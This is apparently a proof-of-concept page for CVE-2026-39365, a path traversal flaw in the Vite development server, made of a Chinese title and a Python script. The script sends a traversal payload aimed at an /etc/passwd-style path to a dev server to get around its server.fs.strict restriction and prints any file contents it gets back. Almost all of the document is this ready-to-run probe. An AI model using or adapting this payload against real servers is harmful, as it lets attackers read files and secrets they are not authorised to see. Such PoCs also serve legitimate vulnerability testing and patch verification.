CVE-2026-39365 Vite开发服务器路径穿越漏洞

# PoC for CVE-2026-39365 # This script attempts to bypass server.fs.strict to read external .map files import requests def check_vulnerability(base_url): # Path traversal payload attempting to access a file outside the root # Adjust the payload path based on the target environment payload = "/node_modules/.vite/deps/../../../etc/passwd.map" # Example hypothetical path # Or targeting a specific valid map file outside root target = base_url + payload print(f"[+] Testing: {target}") try: response = requests.get(target, timeout=5) if response.status_code == 200 and "version" in response.text: print("[!] Vulnerability confirmed! Source map retrieved.") print(response.text[:200]) else: print(f"[-] Status: {response.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual dev server URL check_vulnerability("http://localhost:5173")